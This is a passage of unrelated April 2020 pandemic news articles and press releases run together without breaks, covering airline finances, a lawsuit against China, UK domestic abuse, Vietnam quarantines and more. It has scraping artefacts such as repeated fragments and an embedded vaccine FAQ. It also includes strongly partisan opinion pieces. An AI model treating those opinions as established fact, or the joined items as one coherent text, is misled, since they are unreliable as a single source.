quickly to stabilize their respective airlines, thereby ensuring the industry can eventually return to operations and play its vital role in driving the economic recovery post-pandemic. While the National Airlines Council of Canada (NACC) welcomes indications from the Government of Canada that some form of support is forthcoming, time is of the essence as the economic situation facing Canada's airlines is deteriorating rapidly. The greater the economic damage to the industry, the less competitive and poised for recovery it will be as other countries provide significant direct financial aid to their own carriers. The preservation of a viable, domestic Canadian airline sector is critical to the strength of the Canadian economy. NACC member airlines are the central component of the overall air transport and tourism sector, which collectively supports more than 630,000 jobs and is responsible for generating 3.2% of Canada's GDP. This unprecedented crisis has led some carriers to suspend service to at least 35 regional communities whose local economies depend on the presence of a strong domestic airline industry. As a result of the COVID-19 pandemic, the Canadian aviation sector has been devastated and the damage continues to pile up. For example: There has been an approximate 90% drop in capacity, and the remaining flights are virtually empty. With the vast majority of the fleet grounded, NACC carriers have $10 billion worth of aircraft now sitting idle. worth of aircraft now sitting idle. Capital projects and work with suppliers across the aviation and aerospace supply chain have been stopped. Revenue has all but disappeared, along with forward bookings for the rest of the year with little, if any, clarity as to when travel restrictions may be lifted or reduced. The economic impact of the pandemic is expected to continue materially for the remainder of the year and into 2021. The International Air Transport Association estimates that global airline industry losses this year will be US$314 billion and disruptions to air travel from COVID-19 could result in a 39.8 million reduction in passenger volumes in Canada . and disruptions to air travel from COVID-19 could result in a 39.8 million reduction in passenger volumes in . More broadly, the disruptions could also put at risk about 245,500 jobs in Canada and US$18.3 billion in GDP supported by the air transport industry and foreign tourists travelling to Canada by air. As a G-7 country, Canada needs a strong airline industry to help facilitate international trade and economic growth. "Our members and their employees continue to look forward to the government acting quickly to introduce liquidity measures for the industry. This will provide the stability needed for the aviation sector to begin planning with government the policy initiatives needed to drive Canada's eventual economic recovery, in communities and businesses large and small across the nation, across all segments of the economy and internationally", said Mike McNaney, President and CEO of the National Airlines Council of Canada. About the National Airlines Council of Canada: The National Airlines Council of Canada represents Canada's largest national and international passenger air carriers: Air Canada, Air Transat, Jazz Aviation LP and WestJet. It promotes safe, sustainable and competitive air travel by advocating for the development of policies, regulations and legislation to foster a world-class transportation system. Collectively, its member airlines carry over 80 million passengers annually, directly employ over 60,000 people and are a critical component of Canada's overall air transport and tourism sector which supports more than 630,000 jobs. SOURCE National Airlines Council of Canada For further information: For media requests, please contact: Francesca Iacurto, Senior Director, Public Affairs, National Airlines Council of Canada, [email protected], Telephone: 613.231.7223 ext.104 Related Links https://airlinecouncil.ca Last Tuesday, the State of Missouri filed suit against the Peoples Republic of China, the Communist Party of China and various government entities in that country, blaming them for the global coronavirus pandemic, and seeking compensatory and punitive damages for the enormous death, suffering and economic losses caused by it. Initiated in the U.S. District Court for the Eastern District of Missouri, the suit asserts that Chinas actions and inactions inflicted losses on Missouri totaling billions of dollars. Jurisdiction over China is authorized under the U.S. Constitution and two federal statutes, Missouri claims, and damages may be assessed against that country under Missouri tort law. The latter imposes strict liability on an actor for abnormally dangerous activities and violations of clearly established duties. Announcing the suit, Missouri Attorney General Eric Schmitt said, The Chinese government lied to the world about the danger and contagious nature of COVID-19, silenced whistleblowers, and did little to stop the spread of the disease. The states 47-page complaint expounds upon this, while accusing the defendants of having waged a sinister campaign of malfeasance and deception thats adversely affected literally every Missourian. Thus, the suit alleges that during the critical weeks of the initial outbreak, Chinese authorities suppressed vital information, destroyed critical medical research, arrested whistleblowers and denied human-to-human transmission. This, while hoarding personal protective equipment. Reckless travel The first coronavirus outbreak occurred in Wuhan City, the site of the Wuhan Institute of Virology, which was studying the virus. Its administrator, the Chinese Academy of Sciences, is among the defendants in the suit, as are the institute itself and the Peoples Government of Wuhan City. The complaint cites a Wall Street Journal article that China went ahead with New Year celebrations despite the risk of wider infections and let some five million people leave Wuhan without screening. Many of those individuals traveled to places across the globe. The suit also refers to data compiled by the New York Times, which found that 175,000 people left Wuhan to travel for the Lunar New Year. That timing, the newspaper noted, could not have been worse. The Missouri suit is well pleaded and recites a compelling case against China and the other defendants. Its reasonable to believe that the virus escaped, either by accident or design, from the institute where it was being studied. And its highly probable that the global pandemic could have been prevented had China acted responsibly instead of reprehensibly at the outset. But while the suit may have merit substantively, Missouris claim of jurisdiction over China is not persuasive. Sovereign immunity The Foreign Sovereign Immunities Act of 1976 is a federal statute that defines the jurisdiction of United States courts in lawsuits against foreign states. A notoriously complex, ambiguous statute, it severely limits when such suits may be brought and the circumstances under which foreign assets may be seized to satisfy any resultant judgments. To survive a FSIA challenge, Missouri will have to show that its lawsuit satisfies the commercial activity exception to the principle that foreign states are immune from suit in American courts. Doing so requires a finding that Chinas coronavirus actions, such as destroying medical research and silencing whistleblowers, were commercial activities that had a direct effect in the United States. Both are stretches, the second more so, because the effects, rather than direct, were more serial: virus emergence, infection, government coverup and deception, travel, transmission, mass transmission, massive health crisis, massive economic crisis. Even if Missouris case were to survive a motion to dismiss on jurisdictional grounds, the state would still face practical challenges trying to compile enough admissible evidence to prove its allegations in court. China certainly wouldnt cooperate on such matters as examining government records or deposing China-based witnesses. Missouri may have a better shot at prosecuting its case against the Chinese Communist Party alone, an entity it was wise to include as a defendant. The state could plausibly argue, and a court might possibly agree, that the countrys communist party cannot invoke FISA protection. Given the state of American law, Chinas responsibility for the global pandemic is better and more properly addressed by this countrys executive and legislative branches. In conjunction with other nations similarly aggrieved, a variety of punitive and remedial sanctions can be imposed on China with due regard for Americas strategic interests in the world. While thats not likely to satisfy a fed-up and furious American populace, its all American law will likely allow. Daniel Leddys column On the Law appears weekly. Follow him on Twitter. His email address is column@danielleddylaw.com. Employees of information technology (IT) companies and IT-enabled service providers can work from home until May 31, IT and telecom minister Ravi Shankar Prasad said on Tuesday, extending the timeline by a month in the aftermath of Covid-19, restrictions on transport and safe distancing practices put in place to curb its spread . The department of telecommunications (DoT) on March 13 relaxed rules to allow employees of IT and ITES firms to work from home without mandatorily going through the authorised PPVPN (Provider Provisioned Virtual Private Network). The relaxed guidelines are applicable until April 30; the guidelines will now stay in force until May-end. International call centres, business process outsourcing and knowledge process outsourcing centres, e-learning sites, billing centres and medical transcription companies are covered by the relaxed rules. The mandatory 1 crore deposit fee needed to let employees work from home has been waived and the service providers need to only inform the local DoT office of the addresses of their remote workers; ministry officials said this can be made a permanent fixture Prasad announced the extension after a meeting by video conference with the chief ministers of Haryana and Sikkim,and the deputy CMs of Bihar, Uttar Pradesh and Karnataka, who are also in charge of the IT departments in their states. State IT ministers from Andhra Pradesh, Telangana, Gujarat, Kerala, Maharashtra, Punjab, Assam, Odisha, Goa, Nagaland, Mizoram, and Meghalaya were also in attendance. After the meeting, Prasad said the states had requested that district-level dashboard access be given to the Aarogya Setu app to all district administrations. Some states asked him to explore the possibility of integrating the system for issuing ePasses during the lockdown with the Aarogya Setu app. Bihar deputy CM Sushil Modi asked him to develop a digital platform for sharing best practices and innovations put in place by different states to tackle the health crisis; Prasad asked the IT ministry to initiate the development of such a platform. Telanganas KT Rama Rao suggested that a strategic working group of government officials and industry leaders be formed to explore digital solutions in education, healthcare, commerce, and emerging technologies. Prasad said that his office was in touch with all social media platforms to curb the spread of fake news, and that offenders would face consequence and even police action. A man has been jailed for attacking a police dog and punching three officers after he was stopped at a train station during coronavirus lockdown restrictions. Nelson Nelson was at Nottingham station on 4 April when he was approached by British Transport Police (BTP) officers who quizzed him on his reasons for travel. The 28-year-old, who lives about 50 miles away in Birmingham, attacked them and knocked one unconscious. The other officer chased Nelson before the offender dragged him in front of an oncoming bus. Nelson then charged at and punched another officer as a Nottinghamshire Police team arrived at to help, before running away and jumping over two fences to a point where another officer was waiting with police dog Quantum. The offender picked up a plank of wood with a nail in it and charged at them, repeatedly hitting the dog, and cutting its chin. A flick-knife was also recovered during the incident. The four-year old Belgian malinois-German shepherd cross is the same police dog which only just survived being stabbed by an offender in March 2018. Nelson admitted offences including two counts of actual bodily harm, assault with intent to resist arrest and assaulting an emergency worker. He also admitted possessing an offensive weapon, having a knife and causing unnecessary suffering to Quantum. He was sentenced to four years in prison by a judge at Nottingham Crown Court on Monday for the vicious attack. Speaking after the sentencing, Nottinghamshire Chief Constable Craig Guildford said the jail term would send a very clear message to those who break the law, especially during lockdown. He said: This is a particularly nasty case where officers who are working hard to engage with the public to ensure that stay at home guidance is being followed have been subjected to a vicious and sustained assault. The officers acted swiftly, bravely and decisively in assisting their British Transport Police colleagues and Im convinced police dog Quantum prevented further serious injury to them or the public. Our officers, staff and volunteers will not hesitate to jump to the defence of their fellow key workers who are working so hard to lead the nations response to the coronavirus outbreak, and this case is further evidence of that. Chief Inspector Gareth Davies, from BTP, described it as a truly horrifying incident involving officers who were just trying to do their jobs. There is never an excuse for this sort of behaviour, but its all the more shocking to think this violent rampage began after Nelson was simply asked if his journey was essential, he said. Thankfully, no one was more seriously injured, and Nelson will now have the next few years to reflect on his actions in prison. Additional reporting by Press Association Almost three quarters of Britons believe more needs to be done to ensure all domestic abuse victims are protected during the coronavirus emergency, a study has found. The Amnesty International poll comes as the Domestic Abuse Bill returns to parliament for a second reading on Tuesday and the government faces increasing pressure to tackle the rise in domestic violence during lockdown. Labour MPs have put forward an amendment to the legislation to include the new offence of non-fatal strangulation to tackle the rising number of killers claiming women died during rough sex. They have also suggested a dedicated fast-tracked fund for domestic abuse services hit by the virus crisis. The Amnesty International study found a third of people think the government needs to deliver increased funding to support all victims of domestic abuse during the pandemic. Researchers also found two-thirds of the British public think the government should implement stronger measures to safeguard the most vulnerable victims of domestic abuse, irrespective of their immigration status. Silence for key workers who lost lives to coronavirus Show all 30 1 /30 Silence for key workers who lost lives to coronavirus Silence for key workers who lost lives to coronavirus Staff react outside Salford Royal Hospital in Manchester during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Silence for key workers who lost lives to coronavirus Staff inside Camberwell bus depot in London, during a minute's silence PA Silence for key workers who lost lives to coronavirus NHS staff at the Mater hospital in Belfast, during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak. PA Silence for key workers who lost lives to coronavirus Shoppers observe a minute's silence in Tescos in Shoreham Getty Silence for key workers who lost lives to coronavirus Firefighters outside Godstone fire station PA Silence for key workers who lost lives to coronavirus Salford Royal Hospital Getty Silence for key workers who lost lives to coronavirus Salford Royal Hospital PA Silence for key workers who lost lives to coronavirus Hospital workers take part in a protest calling on the British government to provide PPE across Britain for all workers in care, the NHS and other vital public services after a nationwide minute's silence at University College Hospital in London AP Silence for key workers who lost lives to coronavirus A school children's poster hanging outside Glenfield Hospital during a minute's silence Getty Silence for key workers who lost lives to coronavirus A man holds a placard that reads "People's health before profit" outside St Thomas hospital Getty Silence for key workers who lost lives to coronavirus Staff members applaud outside the Royal Derby Hospital, following a minute's silence PA Silence for key workers who lost lives to coronavirus Cabinet Secretary Mark Sedwill, Prime minister Boris Johnson and Chancellor of the Exchequer Rishi Sunak, stand inside 10 Downing Street, London, to observe a minutes silence in tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Silence for key workers who lost lives to coronavirus University College Hospital, London Hospital workers hold placards with the names of their colleagues who have died from coronavirus as they take part in a protest calling on the British government to provide PPE AP Silence for key workers who lost lives to coronavirus Staff at Waterloo Station in London, stand to observe a minute's silence, to pay tribute to NHS and key workers who have died with coronavirus AP Silence for key workers who lost lives to coronavirus Medical staff at the Louisa Jordan hospital stand during a UK wide minutes silence to commemorate the key workers who have died with coronavirus in Glasgow Getty Silence for key workers who lost lives to coronavirus London An NHS worker observes a minute's silence at Chelsea and Westminster Hospital Reuters Silence for key workers who lost lives to coronavirus Chelsea and Westminster Hospital in London AFP via Getty Silence for key workers who lost lives to coronavirus Belfast, Northern Ireland NHS staff observe a minutes silence at Mater Infirmorum Hospital Reuters Silence for key workers who lost lives to coronavirus Plymouth NHS workers hold a minute's silence outside the main entrance of Derriford Hospital Getty Silence for key workers who lost lives to coronavirus NHS Frimley Park Hospital staff at the A&E department observe a minute's silence Getty Silence for key workers who lost lives to coronavirus Mater Infirmorum Hospital People applaud after a minutes silence in honour of key workers Reuters Silence for key workers who lost lives to coronavirus Waterloo Station, London AP Silence for key workers who lost lives to coronavirus Wreaths laid outside Sheffield town hall PA Silence for key workers who lost lives to coronavirus A group of trade unionists and supporters standing outside Sheffield town hall PA Silence for key workers who lost lives to coronavirus First Minister Nicola Sturgeon stands outside St Andrew's House in Edinburgh to observe a minute's silence in tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Silence for key workers who lost lives to coronavirus Staff stand outside the Royal Derby Hospital, during a minutes silence PA Silence for key workers who lost lives to coronavirus London Police officers observe a minutes silence at Guy's Hospital Reuters Silence for key workers who lost lives to coronavirus A woman standing outside Sheffield town hall PA Silence for key workers who lost lives to coronavirus Royal Derby Hospital PA Silence for key workers who lost lives to coronavirus Leicester, NHS workers during a minute's silence outside Glenfield Hospital Getty Nearly three quarters of the public were found to be in favour of the government funding hotel rooms for domestic abuse survivors. While hotel chains recently said they would convert empty rooms into emergency accommodation for victims fleeing abuse, ministers have not responded to this yet or provided the additional money to support plans. Kate Allen, director of Amnesty International UK, said: The fact that the UK public want the government to provide more support to domestic abuse victims isnt surprising. Weve recently seen shocking reports on the number of domestic abuse-related deaths and a huge surge in calls to helplines. People clearly want this domestic abuse emergency properly addressed, and theres no time to lose in tackling it its a matter of life and death. Any measures introduced must treat all victims equally no matter where theyre from. The current system is almost entirely out of reach for migrant women and leaves them without refuge beds or a safe place to stay. The Domestic Abuse Bill is an opportunity for MPs to build a fairer system that ensures all women can escape abuse to safety and leaves no victim behind. The Independent recently reported migrant women subjected to domestic abuse are bearing the brunt of the pandemic due to being blocked from entering shelters and deterred from accessing healthcare, due to not having access to public funds. A troubling study published by lead domestic abuse charity Womens Aid on Tuesday found over two-thirds of victims currently experiencing abuse said it is escalating under lockdown. Almost three quarters said their abuser has more control over their life since the coronavirus emergency began. And over a third of domestic abuse victims who are parents said their abuser was being more abusive to their children in the wake of the outbreak. One woman, who chose to remain anonymous, said: I am reliant upon my abuser to get food and medication as I am shielding for 12 weeks. This is being used against me. Over three-quarters of victims said the lockdown has made it substantially more difficult for them to be able to escape their perpetrator. I wanted to leave the relationship, another woman said. However, since Covid-19 and the lockdown coming into effect, it has made it harder to leave. I am a key worker who is around Covid positive patients, so I dont feel like I can go home and stay with my parents. Recommended Former nurse on ordeal of being cooped up with abusive son in lockdown Domestic abuse victims also said they are feeling increasingly isolated because of the governments strict social distancing measures. Eight in ten who are helped via face-to-face informal networks said these had either ceased entirely or been substantially reduced. Another woman said: Its hell on earth living 24/7 now with my abuser and I cant get out to escape and put distance between us when I feel tension rising. Nicki Norman, acting chief executive of Womens Aid, said: Our survivor survey gives voice to the women experiencing abuse, from former or current partners, and how they are affected by lockdown. Covid-19 has laid bare the lack of protection for women and children experiencing domestic abuse and demonstrates the urgent need for action. After years of delay, we welcome the Domestic Abuse Bills return to parliament. However, significant changes are required to ensure this legislation delivers the transformation that survivors need. Womens Aid has long called for the bill to deliver a safe child contact and family court system, stronger housing rights to enable survivors to escape an abuser, and equal protection and support for migrant women. As Covid-19 shuts down routes to safety and support, these reforms are more needed than ever. Most urgently, the national network of domestic abuse services needs emergency cash, and a guarantee of a secure funding future, to continue delivering the life-saving support survivors need so desperately right now. Womens Aid is calling for at least 48.2m in emergency funding to help local services cope during this crisis. A report released by MPs on Monday revealed domestic abuse killings doubled over 21 days in the lockdown. Refuge, the UKs largest provider of shelters for domestic abuse victims, reported a 49 per cent increase in people contacting its national domestic abuse helpline. The Home Affairs Committee warned the lockdown will have devastating consequences for a generation unless the government provides urgent support for people cooped up at home with their abusers. Pandemic Reflections: The Good, the Bad, and the Evil Commentary Extraordinary crises such as pestilence and war invite valuable reflections about the existence of good and evil in the human condition. Most of us are capable of both good and bad behavior. In our best moments, we act selflessly in the interests of family, friends, fellow citizens, and even humanity in general. In our worst moments, we act selfishly to the point of ignoring the well-being of others who appear to be standing in our way. Honorable men and women intuitively know the difference between virtue and vice and generally strive to follow the golden rule of doing unto others as they would have others do unto them. People who fall into bad behavior can usually be reasoned with and held accountable for their wrongdoing. They can repent, ask for forgiveness and, in the end, seek to rejoin others in a well-ordered human community. Evil is another matter. In late-life reflections on human nature, the eminent British philosopher Sir Roger Scruton suggested that evil people are not, like most of us, simply the crooked timber of humanity. They consistently act apart from the values of a society, even while residing within its territory. Their bad behavior, he said, may be too secret and subversive to be noticeable, and any dialogue with them will be, on their part, a pretense. The evil disposition described by Scruton became chronically evident in the actions of regimes inspired by revolutionary Marxism. In 1983, U.S. President Ronald Reagan urged cultural leaders to beware of the temptation of blithely assigning moral equivalence to both sides in the Cold War struggle between communism and democracy. Ignoring the historical facts about the tyranny of the Bolshevik Revolution, he suggested, would leave the free world defenseless against the aggressive impulses of an evil empire. Both Scruton and Reagan understood that the revolutionary lefts aggressive tactics arent only intended to thwart political opponents but are designed to erase the humanity of their victims. Such intentions, Scruton suggested, represent the deceptive negation of humanity, wholly and naturally at ease with the thing they seek to destroy. In a recent Epoch Times article, Canadian journalist Barbara Kay invited readers to recall the incalculable human wreckage spawned by the 1917 communist revolution in Russia. She pointed out that the Bolsheviks made bloodthirstiness commonplace in history, as Russian Marxists treated any form of mercy, kindness, empathy, or tolerance toward adversaries as an unforgivable sign of weakness. In an unprecedented cultural upheaval, Russian communists transformed a largely Christian nation into a totalitarian empire. In 1989, the Soviet Empire collapsed under the weight of its own inner contradictions. But over the last several decades, the leadership of the global left passed to the Central Committee of the Communist Party of China. In the Wests relationship with Beijing, the assigning of moral equivalence that Reagan warned about unfortunately continued apace. The Beijing regime was able to depend on the support of fellow travelers and useful innocents in the free world who willingly removed themselves from the struggle between good and evil, and ignored the reality of the Chinese Communist Partys (CCP) global ambitions. Despite communisms historical record of revolutionary violence, oppression, confiscation of property, famine, incarceration, forced labor, thought-control, terror, and military aggression, progressive Western intellectuals and politicians viewed the CCP as a convenient partner in a mutually profitable new world order. Our elites in the worlds commercial centers conceded that the Chinese regime acted badly from time to time. It stole ideas, bought up Western companies, undercut our domestic manufacturing, and left a lot of our people without jobs. But apologists for Beijing readily accepted communist China as an important player in the World Trade Organization. Its exploitation of cheap labor produced an abundance of inexpensive consumer goods, and made a lot of top Western business executives extraordinarily rich. Until recently, the common man in the free world didnt feel directly threatened by the CCP. We were happy to consume cheap products, and too many of us remained indifferent to Beijings long record of human rights abuses and growing global ambitions. Deals with the devil always appear profitable at the outset. Today, the evidence of CCP deceit is too compelling to ignore. According to a well-documented Epoch Times timeline on the coverup of the virus outbreak, the South China Morning Post cited government documents pointing to the first reported infection in Hubei Province as early as mid-November 2019. A subsequent study, published in The New England Journal of Medicine, pointed to evidence of human-to-human transmission appearing by mid-December. Following initial reports, a deceptive saga about the nature of the virus unfolded for the better part of two months. While Beijing publicly downplayed the danger, draconian quarantine measures were imposed in Wuhan to protect other areas in China from the outbreak. With full knowledge of the potentially devastating effects on humanity, Beijing permitted millions of Chinese travelers to carry the contagion to the entire world. Moral thinking requires habits of respect and benevolence that guarantee mutual trust and security. But history has taught us that Marxist revolutionary regimes swiftly lose the capacity for moral conduct. Within the context of a well-ordered commonwealth of nations, such regimes become like visitors from a hostile planet, the very incarnation of evil in our time. The pandemic is having a devastating effect on the lives of ordinary people. But, with regard to the CCP, we have clearly seen the wolfs tail under the grandmothers cloak. After this is over, it will be impossible to return to business as usual with the regime in Beijing. William Brooks is a writer and educator based in Montreal. He currently serves as editor of The Civil Conversation for Canadas Civitas Society, and is an Epoch Times contributor. Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times. HONG KONG, April 27, 2020 /PRNewswire/ -- The Pan Asia Securities Lending Association (PASLA), the Risk Management Association (RMA) and EquiLend, the global technology company for the securities finance, collateral and swaps industries, have joined forces with domestic and international market participants to produce the first annual Asia Pacific Securities Lending Markets User Guide. The complimentary user guide provides a detailed overview of the securities lending markets in Australia, China, the China/Hong Kong Stock Connect, Hong Kong, India, Indonesia, Japan, Malaysia, New Zealand, Philippines, Singapore, South Korea, Taiwan and Thailand. The user guide covers the current and future state of the Asia Pacific securities lending markets, regional innovations, illustrative market data and much more. The guide serves as a comprehensive resource for agent lenders, broker-dealers, CSDs, CCPs, exchanges, beneficial owners, hedge funds, lawyers, regulators and consultants with an interest in the Asia Pacific securities lending markets. Stuart Jones, PASLA Chair, says, "At PASLA, and working with the RMA and EquiLend, we decided to create a fully comprehensive Asia Pacific Securities Lending Markets Users Guide. With such a fractured regulatory landscape and so many different considerations on accessing and trading these markets, we wanted to collate all that information into a single user's guide. We want this to be as useful to current market participants as it is to new entrants to the region and will make sure we keep this resource relevant." Fran Garritt, Director, Securities Lending and Global Markets Risk, RMA, says: "The Asia Pacific securities lending markets can be a challenge to navigate due to vastly different regulatory regimes and infrastructures between markets. Our User Guide covers 14 key markets across the region in detail and will help all interested market participants better understand the nuances of this key region in the global securities lending market." Brian Lamb, CEO of EquiLend, says: "EquiLend has a long-standing commitment to the securities lending markets in Asia Pacific, and we support many domestic and regional clients from our offices in Tokyo and Hong Kong. As highlighted in the 2020 edition of the Asia Pacific Securities Lending Markets User Guide, the region is in the midst of unprecedented expansion, and we are thrilled to be a part of that innovation and growth." To download the Asia Pacific Securities Lending Markets User Guide, please visit: https://www.equilend.com/asia-pacific-securities-lending-market-user-guide-2020/ About PASLA PASLA is an association of over 60 institutions that are active in the business of securities borrowing and lending (SBL) in Asian markets. PASLA's aims, amongst others, are to liaise with regional market participants to promote and develop appropriate regulatory frameworks for the industry, to represent the common interests of institutions engaged in SBL and to assist in efficient and competitive market developments. About RMA Founded in 1914, The Risk Management Association is a not-for-profit, member-driven professional association whose sole purpose is to advance the use of sound risk management principles in the financial services industry. RMA promotes an enterprise approach to risk management that focuses on credit risk, market risk, and operational risk. Headquartered in Philadelphia, Pennsylvania, RMA has 1,900 institutional members that include banks of all sizes as well as nonbank financial institutions. They are represented in the Association by 18,500 individuals located throughout North America, Europe, Australia, and Asia/Pacific. About EquiLend EquiLend is a global financial technology firm offering trading, post-trade, market data, regulatory and clearing services for the securities finance, collateral and swaps industries. EquiLend has offices in New York, Boston, Toronto, London, Dublin, Hong Kong and Tokyo. www.equilend.com For more information, please contact: PASLA: Gabi Solway Administrator, PASLA [email protected] RMA: Frank Devlin +1 (215) 446-4137 [email protected] EquiLend: Christopher Gohlke Associate Director, Marketing & Communications, EquiLend +1 (212) 901-2217 [email protected] SOURCE EquiLend Related Links http://www.equilend.com A pair of virtual meetings that will allow the public to learn the latest on the Ports-to-Plains Corridor project are set for May 13 and May 14. During the meeting, the Ports-to-Plains Corridor Feasibility Study and input from an advisory committee will be discussed. People line up for immigration procedures at the Van Don International Airport in Quang Ninh Province, northern Vietnam. Photo by VnExpress/Binh Minh. 340 South Korean employees of firms in Vietnam have been granted entry and will be quarantined upon arrival Wednesday. South Korea's Ministry of Foreign Affairs said Tuesday that the employees of 143 Korean firms would depart on two chartered flights arranged by the Korea Chamber of Commerce and Industry. The firms would cover the flights costs, the Yonhap News Agency reported. After landing at the Van Don International Airport in Quang Ninh Province, the employees would be quarantined in hotels for the next 14 days per existing Vietnamese Covid-19 safety policies. All the employees have tested negative for the novel coronavirus before boarding the flight, the report said. Earlier this month, around 1,000 foreign experts, mostly Chinese and South Koreans, arrived in the north and north central provinces of the country and were quarantined on arrival. Many of them work in electronics and other manufacturing industries. Vietnam has banned entry for foreign nationals, including those of Vietnamese origin and their family members, starting March 22. Only Vietnamese nationals and foreigners with diplomatic and official passports, and certain business managers, experts and high-skilled workers are allowed to enter the country now and are quarantined. Over 20,000 foreigners have not been able to enter Vietnam for work, according to the Ministry of Labor, Invalids and Social Affairs. Vietnam has had 270 Covid-19 cases, of which 48 are active, including eight cases of relapse. The latest two cases were recorded four days ago, and there has been no community transmission since April 16. The pandemic has spread to 210 countries and territories, with the reported death toll climbing to more than 212,500. Chile's Carabineros are marking their 93rd anniversary by playing live music for healthcare workers at a hospital in Santiago on Monday. Hospital staff gathered at the lobby of the hospital "El Carmen" to listen to the sounds of drums, electric guitar and keyboard. At one point, hospital workers protested the presence of Carabineros, some with one eye covered to represent the hundreds of people who were left with eye or facial injuries caused by security forces firing shotguns at close proximity at demonstrators during protests last year. One worker, in protest, held a banner, reading "Carabineros: murderer institution. Kill, rape and torture." In December, a U.N. human rights report accused Chilean security forces of serious human rights violations against protesters, including deaths, torture, sexual abuse and the use of excessive force. PORTLAND, Ore., April 28, 2020 /PRNewswire/ -- In response to questions flooding in from small business owners, experts at The Caputo Group are extending their client advice to the community with weekly webinars and Q & A sessions. The webinars take place every Thursday at noon, covering the latest information from official sources that directly impact the health and security of small businesses. "We offer activities like this webinar to help keep everyone informed on the developments that are affecting their lives and their livelihoods," said Sophia Blanton, Sr Coordinator for The Caputo Group. This week's webinar will cover: Updates on the CARES Act Phase Four Funding Access Support Steps Towards Re-Opening Federal & State Plan Overviews Possible Timelines To register for the complimentary 60-minute webinar, businesses can visit: http://www.caputo-group.com/covid-19-sb-webinar/ The Caputo Group is analyzing and distilling the latest information to help guide and inform small business owners. "The Families First Coronavirus Response Act has created a number of hurdles for small businesses. We hope to keep owners fully updated on all the latest resources so they can weather this crisis," said Hunter Caputo, CEO of The Caputo Group. For additional support, The Caputo Group has a list of resources on its website to help small to midsize businesses navigate COVID-19. Business owners can sign up for a free personalized consultation from experts in restaurants, cannabis, brewing, construction, and more. This consultation includes how small businesses can avoid the burden of HR 6201 Mandatory Employee Sick Leave. Learn more at http://www.caputo-group.com/covid-19-free-consult/ About The Caputo Group: Caputo Group, a Professional Employer Organization (PEO), offers complete support services for small to midsize businesses. For over 25 years, The Caputo Group has saved business owners hundreds of thousands of dollars in potential compliance issues and lawsuits. Because the Caputo Group removes so many business tasks, the majority of their clients have seen their businesses grow by an average of 15%. CONTACT: Katherine Tice (503) 944-9782 [email protected] SOURCE The Caputo Group Related Links http://www.caputo-group.com live bse live nse live Volume Todays L/H More Airlines in India have come together on an issue, that seems to have otherwise divided the industry globally. It's about keeping middle seats in flights vacant, to maintain social distancing among passengers. EasyJet, the British low-cost airline is fine with it. But the CEO of its Irish peer Ryanair termed the proposal 'idiotic.' In the US, while United Airlines again is receptive of the idea, local peer American Airlines thinks otherwise. So what is it about the idea, that has evoked such sharp responses? The 'vacant' seat dilemma As airlines and airports prepare to resume operations, once the lockdown is lifted and the government gives the green signal, they have put in elaborate guidelines to ensure the safety of passengers. COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show One such rule is to maintain social distancing, at the terminals, buses that ferry passengers and flights. Well, the flight part is a question mark now. India's industry regulator DGCA has proposed that airlines keep the middle seat empty. But DGCA is not alone. Regulators in Thailand, China and other countries have done the same. So, why does the Ryanair CEO think the idea is 'idiotic?' Michael O'Leary, the CEO, said the airline can't afford to keep the middle seats empty. The move, he said, neither ensures social distancing nor is it viable for an airline. If the Irish government does impose it, O'Leary warned, the airline will not fly, unless the administration pays for the loss. Interestingly, EasyJet's Chief Executive Johan Lundgren said it will help the airline attract passengers, especially for a short period as flying resumes. One may agree with the view, especially after going through this nervous account of flying a long haul flight that was full. But won't vacating the middle seat help in social distancing? Those against the idea including Indian carriers such as SpiceJet said keeping the middle seat vacant is not enough to ensure social distancing. They reasoned the argument by factoring in the width of an average aircraft seat (about 45cm in Airbus 320 aircraft), which is clearly not enough to have a gap of 2 meters. Even if one were to maintain a distance of 1.5 meters - the gap that airports in India have proposed to maintain - it would probably mean that airlines can have only two seats occupied across a row of six seats, including the aisle. But this hasn't prevented United Airlines to ensure social distancing inside a flight. The airline said customers won't be able to select seats next to each other. Will airlines make enough money? It will be difficult, said Shakti Lumba, an aviation veteran and former Executive Director, Airline Operations (Alliance Air), and Vice President, Ops (IndiGo). "Keeping the middle seat empty would mean that airlines will lose 33.33 percent of their capacity. They would be able to sell, say 120 out of 180 seats on an A320," he said. One way to make up for the loss, added Lumba, would be to increase the price of the saleable seats. But how much can prices be raised? Estimates vary, but industry executives said a Mumbai-Delhi oneway fare would have to be at least Rs 8,000. Currently, a ticket on the route would cost about Rs 2,500. That will be a tough call for airlines, especially when demand for travel is expected to remain low till the COVID-19 fears remain. "There will be little business travel, now that video conferencing/ work from home has become popular. I see only three airlines being viable, i.e Air India, IndiGo and Vistara," said Lumba. With projections as alarming as that, it is no wonder that airlines in India have not warmed up to the idea of keeping middle seats empty. What lies beyond the pandemic? MassForward is MassLives series examining the journey of Massachusetts small businesses through and beyond the coronavirus pandemic. ________________ The coronavirus pandemic could draw businesses to Western Massachusetts as companies revert to telecommuting and see the cost of living and cost of doing business is less expensive, according to President and CEO of the Western Massachusetts Economic Development Council Rick Sullivan. Sullivan is optimistic about the future for development in the area. I think that many people have been able to be very productive working from home and telecommuting and that's an opportunity for Western Massachusetts because that can be done quite easily out here, said Sullivan. You don't need to be in Boston or New York. Western Massachusetts has a better quality of life 